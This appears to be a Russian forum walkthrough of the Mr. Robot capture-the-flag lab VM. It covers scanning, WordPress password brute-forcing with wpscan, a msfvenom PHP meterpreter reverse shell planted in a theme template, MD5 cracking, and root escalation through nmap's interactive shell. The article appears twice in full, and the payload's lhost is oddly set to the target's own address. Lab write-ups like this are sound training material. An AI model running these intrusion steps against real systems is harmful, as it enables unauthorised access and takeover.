Привет всем! В этой статье речь пойдет о CFT Challenge.
Capture the Flag (CTF сокращенно) — это хакерские соревнования. Суть игры заключается в том, что в распоряжение командам дается система с набором уязвимых приложений-сервисов. Основная задача – проанализировать систему, найти уязвимости, закрыть их у себя и как можно быстрее, используя найденные уязвимости, взломать системы соперника. В некоторых играх дополнительные очки начисляются за описание уязвимостей в бюллетенях безопасности.
Взлом такой системы и будет описан ниже. Проникновение осуществляется в рамках уязвимой системы Mr. Robot. Она основана на популярном телесериале, мистер Робот, и имеет три ключа, спрятанные в разных местах. Основная цель состоит в том, чтобы найти все три жетона скрытых в системе. Каждый последующий ключ найти сложнее предыдущего. Целевая система имеет ряд уязвимостей, которые не так уж и сложно обнаружить. Степень подготовки участника может быть на начальном – среднем уровне.
Приступим.
Скачиваем систему Mr.Robot отсюда -
В качестве дистрибутива для взлома, мной будет использоваться Kali Linux Rolling.
Запускаем Mr. Robot, например в VM Virtual Box, затем, находим ее адрес в нашей сети. Используем утилиту netdiscover.
netdiscover – активный-пассивный сканер-разведчик адресов беспроводных сетей без DHCP сервера.
> netdiscover
Получаем информацию обо всех адресах в нашей сети. Наш целевой хост это – 192.168.0.105, давайте просканируем его.
Выбираем агрессивный метод сканирования (-А).
> nmap –А 192.168.0.105
Результат сканирования показал нам открытые порты: 22, 80, 443. Попробуем постучаться на 80-й порт используя браузер.
Мы убеждаемся в том, что цель выбрана правильно, работаем дальше.
Далее мы будем использовать nikto.
Nikto — утилита для обнаружения файлов, которые копируются при установке сервера в папки по умолчанию. Помимо этого она тестирует web- и CGI-серверы на предмет безопасного использования. Во время работы сканер осуществляет многочисленные запросы на удаленный сервер, что в некоторых случаях может вызвать его падение, поскольку такой же принцип применяется в DoS-атаках.
Она поможет нам собрать информацию о файлах и других важных вещах, которые мы должны знать о нашей цели. Вводим:
> nikto
Исходя из полученной информации, видим, что на сервере есть файл с именем robots.txt. Анализом его мы и займемся. Красным я выделил несколько важных моментов, которые в дальнейшем нам помогут.
Открываем robots.txt в браузере:
Затем открываем файл key-1-of-3.txt и получаем первый из трех ключей.
Следующее, что должно нас заинтересовать, это файл под названием fsocity.dic. Открываем его в браузере, затем сохраняем себе.
Посмотрим, что находится внутри словаря:
Теперь мы знаем, что обладая логином и паролем, мы могли бы получить доступ к цели. Перебирая имена пользователей, при попытке залогиниться в форме -192.168.0.105/wp-login.php мы всегда получали ошибку, что имени пользователя не существует . Но когда мы использовали имя elliot мы получили сообщение об ошибке, что введен неверный пароль.
И нам точно известно, что elliot правильное имя пользователя и мы просто должны найти пароль для него.
Будем надеяться, что пароль находиться в том же словаре, где обнаружился логин. Попробуем использовать утилиту wpscan, чтобы найти его.
WPScan — это сканер уязвимостей WordPress. Предустановлен.
Пишем:
> wpscan –url
Где:
- wpscan -> запускает WPScan
- url -> обозначает URL по которому будет работать WPScan - http://192.168.0.105 -> наш URL
- wordlist -> обозначает путь к файлу словаря
- username -> обозначает имя пользователя
- elliot -> имя пользователя
Обработка занимает некоторое время, запасаемся терпением.
В результате получаем пароль пользователя elliot.
Для тех кому ожидание в тягость, предлагаю способ, значительно ускоряющий получение искомого пароля. Обратим внимание на файл license.txt. В нем содержится хеш пароля Эллиота. Найти его поможет встроенный в Firefox плагин firebug.
Firebug — расширение для браузера Firefox, являющееся консолью, отладчиком, и DOM-инспектором JavaScript, DHTML, CSS, XMLHttpRequest. Firebug показывает в консоли вызвавшую ошибку функцию, стек вызовов функций, вызвавших эту ошибку. Он предупреждает, что правило CSS или метод/свойство JavaScript, которое вы пытаетесь использовать, не существует.
Текст скрыт в нижней части страницы в заголовке <pre>
Попробуем расшифровать его в OWASP Zap, с параметрами base64:
OWASP Zed прокси Attack (ZAP) - это простой в использовании интегрированный инструмент для тестирования на проникновение, а также для поиска уязвимостей в web-приложениях. Программа предназначена для пользователей имеющих опыт работы в сфере информационной безопасности, таких как разработчики и функциональные тестеры. Программа будет полезным дополнением для набора инструментов разработчика.
Пароль у нас в руках. Логинимся по адресу 192.168.0.105\wp-login.php используя полученные данные.
Теперь, когда мы вошли в систему, пришло время сгенерировать код полезной нагрузки и загрузить его в нашу цель. Вернемся в консоль Kali, пишем следующее:
> msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.0.105 lport=4444 -f raw
Полученный код копируем от <?php до die(); затем вставляем его в шаблон и сохраняем, как показано на скриншоте ниже. В качестве изменяемого шаблона был выбран 404 Template.
Сохраняем изменения в теме.
Запускаем Metasploit и вводим следующие команды:
> use exploit/multi/handler
> set payload php/meterpreter/reverse_tcp
> set lhost 192.168.0.105
> set lport 4444
> exploit
Открываем путь к шаблону в браузере как показано на скрине:
Жмем Enter и получаем открывшуюся сессию meterpreter.
Переходим в шелл и создаем python – скрипт, который позволит получить нам доступ к псевдо-терминалу pty. Затем выполняем его.
> echo “import pty; pty.spawn(‘ /bin/bash’)” > /tmp/asd.py
> python /tmp/asd.py
После выполненного выше, нам необходимо получить больше информацию о пользователе.
> ls -lsa (получаем информацию о текущем каталоге)
> cd home (переходим в домашний каталог)
> ls -lsa
Нашей целью является пользователь под ником robot, выполняем здесь команду:
> cd robot (переходим в каталог robot)
> ls -lsa
Здесь находится два интересующих нас файла, первый это текстовый документ содержащий ключ, а второй несет в себе пароль зашифрованный алгоритмом хеширования MD5.
Попробуем посмотреть содержимое файла key-2-of-3.txt.
> cat key-2-of-3.txt
В доступе нам отказано. Давайте попробуем открыть файл MD5 и для этого вводим:
> cat password.raw-md5
Выполнение вышеуказанной команды выдаст значение MD5 (хэш-значение) пароля, как вы можете увидеть ниже:
Мы будем использовать md5cracker.org (online md5 value cracker), чтобы взломать хеш MD5. Введите хеш MD5, в текстовое поле и нажмите кнопку
Crack/encrypt.
В результате получаем расшифрованное значение MD5:
В терминале, пробуем переключиться на пользователя robot, используя полученный пароль.
> su robot
> ls –lsa
Смотрим содержимое файла:
> cat key-2-of-3.txt
Получаем второй ключ!
Далее введите следующую команду:
> nmap
Подробнее об этом сканере можно узнать здесь - https://codeby.net/blogs/kniga-po-nmap-na-russkom/
Nmap поддерживает опцию, которая называется "интерактивная". С помощью этой опции, пользователи получили возможность выполнять команды оболочки с помощью nmap "shell" (интерактивная оболочка).
> nmap –interactive
Далее по порядку выполняем:
> !sh
> id (узнаем ID пользователей)
> cd /root (перейдем в каталог root)
Выполняем команду:
> ls –lsa
Видим, что здесь находится третий, последний ключ.
> cat key-3-of-3.txt
Вот и все, все три ключа собраны, задача выполнена. Mr. Robot был успешно взломан. Еще хочу добавить, что это не единственный путь получения ключей, было бы отлично узнать о новых способах в комментариях или в новой теме.
Capture the Flag (CTF сокращенно) — это хакерские соревнования. Суть игры заключается в том, что в распоряжение командам дается система с набором уязвимых приложений-сервисов. Основная задача – проанализировать систему, найти уязвимости, закрыть их у себя и как можно быстрее, используя найденные уязвимости, взломать системы соперника. В некоторых играх дополнительные очки начисляются за описание уязвимостей в бюллетенях безопасности.
Взлом такой системы и будет описан ниже. Проникновение осуществляется в рамках уязвимой системы Mr. Robot. Она основана на популярном телесериале, мистер Робот, и имеет три ключа, спрятанные в разных местах. Основная цель состоит в том, чтобы найти все три жетона скрытых в системе. Каждый последующий ключ найти сложнее предыдущего. Целевая система имеет ряд уязвимостей, которые не так уж и сложно обнаружить. Степень подготовки участника может быть на начальном – среднем уровне.
Приступим.
Скачиваем систему Mr.Robot отсюда -
Ссылка скрыта от гостей
В качестве дистрибутива для взлома, мной будет использоваться Kali Linux Rolling.
Запускаем Mr. Robot, например в VM Virtual Box, затем, находим ее адрес в нашей сети. Используем утилиту netdiscover.
netdiscover – активный-пассивный сканер-разведчик адресов беспроводных сетей без DHCP сервера.
> netdiscover
Получаем информацию обо всех адресах в нашей сети. Наш целевой хост это – 192.168.0.105, давайте просканируем его.
Выбираем агрессивный метод сканирования (-А).
> nmap –А 192.168.0.105
Результат сканирования показал нам открытые порты: 22, 80, 443. Попробуем постучаться на 80-й порт используя браузер.
Мы убеждаемся в том, что цель выбрана правильно, работаем дальше.
Далее мы будем использовать nikto.
Nikto — утилита для обнаружения файлов, которые копируются при установке сервера в папки по умолчанию. Помимо этого она тестирует web- и CGI-серверы на предмет безопасного использования. Во время работы сканер осуществляет многочисленные запросы на удаленный сервер, что в некоторых случаях может вызвать его падение, поскольку такой же принцип применяется в DoS-атаках.
Она поможет нам собрать информацию о файлах и других важных вещах, которые мы должны знать о нашей цели. Вводим:
> nikto
Исходя из полученной информации, видим, что на сервере есть файл с именем robots.txt. Анализом его мы и займемся. Красным я выделил несколько важных моментов, которые в дальнейшем нам помогут.
Открываем robots.txt в браузере:
Затем открываем файл key-1-of-3.txt и получаем первый из трех ключей.
Следующее, что должно нас заинтересовать, это файл под названием fsocity.dic. Открываем его в браузере, затем сохраняем себе.
Посмотрим, что находится внутри словаря:
Теперь мы знаем, что обладая логином и паролем, мы могли бы получить доступ к цели. Перебирая имена пользователей, при попытке залогиниться в форме -192.168.0.105/wp-login.php мы всегда получали ошибку, что имени пользователя не существует . Но когда мы использовали имя elliot мы получили сообщение об ошибке, что введен неверный пароль.
И нам точно известно, что elliot правильное имя пользователя и мы просто должны найти пароль для него.
Будем надеяться, что пароль находиться в том же словаре, где обнаружился логин. Попробуем использовать утилиту wpscan, чтобы найти его.
WPScan — это сканер уязвимостей WordPress. Предустановлен.
Пишем:
> wpscan –url
Ссылка скрыта от гостей
–wordlist /root/Desktop/fsocity.dic –username elliotГде:
- wpscan -> запускает WPScan
- url -> обозначает URL по которому будет работать WPScan - http://192.168.0.105 -> наш URL
- wordlist -> обозначает путь к файлу словаря
- username -> обозначает имя пользователя
- elliot -> имя пользователя
Обработка занимает некоторое время, запасаемся терпением.
В результате получаем пароль пользователя elliot.
Для тех кому ожидание в тягость, предлагаю способ, значительно ускоряющий получение искомого пароля. Обратим внимание на файл license.txt. В нем содержится хеш пароля Эллиота. Найти его поможет встроенный в Firefox плагин firebug.
Firebug — расширение для браузера Firefox, являющееся консолью, отладчиком, и DOM-инспектором JavaScript, DHTML, CSS, XMLHttpRequest. Firebug показывает в консоли вызвавшую ошибку функцию, стек вызовов функций, вызвавших эту ошибку. Он предупреждает, что правило CSS или метод/свойство JavaScript, которое вы пытаетесь использовать, не существует.
Текст скрыт в нижней части страницы в заголовке <pre>
Попробуем расшифровать его в OWASP Zap, с параметрами base64:
OWASP Zed прокси Attack (ZAP) - это простой в использовании интегрированный инструмент для тестирования на проникновение, а также для поиска уязвимостей в web-приложениях. Программа предназначена для пользователей имеющих опыт работы в сфере информационной безопасности, таких как разработчики и функциональные тестеры. Программа будет полезным дополнением для набора инструментов разработчика.
Пароль у нас в руках. Логинимся по адресу 192.168.0.105\wp-login.php используя полученные данные.
Теперь, когда мы вошли в систему, пришло время сгенерировать код полезной нагрузки и загрузить его в нашу цель. Вернемся в консоль Kali, пишем следующее:
> msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.0.105 lport=4444 -f raw
Полученный код копируем от <?php до die(); затем вставляем его в шаблон и сохраняем, как показано на скриншоте ниже. В качестве изменяемого шаблона был выбран 404 Template.
Сохраняем изменения в теме.
Запускаем Metasploit и вводим следующие команды:
> use exploit/multi/handler
> set payload php/meterpreter/reverse_tcp
> set lhost 192.168.0.105
> set lport 4444
> exploit
Открываем путь к шаблону в браузере как показано на скрине:
Жмем Enter и получаем открывшуюся сессию meterpreter.
Переходим в шелл и создаем python – скрипт, который позволит получить нам доступ к псевдо-терминалу pty. Затем выполняем его.
> echo “import pty; pty.spawn(‘ /bin/bash’)” > /tmp/asd.py
> python /tmp/asd.py
После выполненного выше, нам необходимо получить больше информацию о пользователе.
> ls -lsa (получаем информацию о текущем каталоге)
> cd home (переходим в домашний каталог)
> ls -lsa
Нашей целью является пользователь под ником robot, выполняем здесь команду:
> cd robot (переходим в каталог robot)
> ls -lsa
Здесь находится два интересующих нас файла, первый это текстовый документ содержащий ключ, а второй несет в себе пароль зашифрованный алгоритмом хеширования MD5.
Попробуем посмотреть содержимое файла key-2-of-3.txt.
> cat key-2-of-3.txt
В доступе нам отказано. Давайте попробуем открыть файл MD5 и для этого вводим:
> cat password.raw-md5
Выполнение вышеуказанной команды выдаст значение MD5 (хэш-значение) пароля, как вы можете увидеть ниже:
Мы будем использовать md5cracker.org (online md5 value cracker), чтобы взломать хеш MD5. Введите хеш MD5, в текстовое поле и нажмите кнопку
Crack/encrypt.
В результате получаем расшифрованное значение MD5:
В терминале, пробуем переключиться на пользователя robot, используя полученный пароль.
> su robot
> ls –lsa
Смотрим содержимое файла:
> cat key-2-of-3.txt
Получаем второй ключ!
Далее введите следующую команду:
> nmap
Подробнее об этом сканере можно узнать здесь - https://codeby.net/blogs/kniga-po-nmap-na-russkom/
Nmap поддерживает опцию, которая называется "интерактивная". С помощью этой опции, пользователи получили возможность выполнять команды оболочки с помощью nmap "shell" (интерактивная оболочка).
> nmap –interactive
Далее по порядку выполняем:
> !sh
> id (узнаем ID пользователей)
> cd /root (перейдем в каталог root)
Выполняем команду:
> ls –lsa
Видим, что здесь находится третий, последний ключ.
> cat key-3-of-3.txt
Вот и все, все три ключа собраны, задача выполнена. Mr. Robot был успешно взломан. Еще хочу добавить, что это не единственный путь получения ключей, было бы отлично узнать о новых способах в комментариях или в новой теме.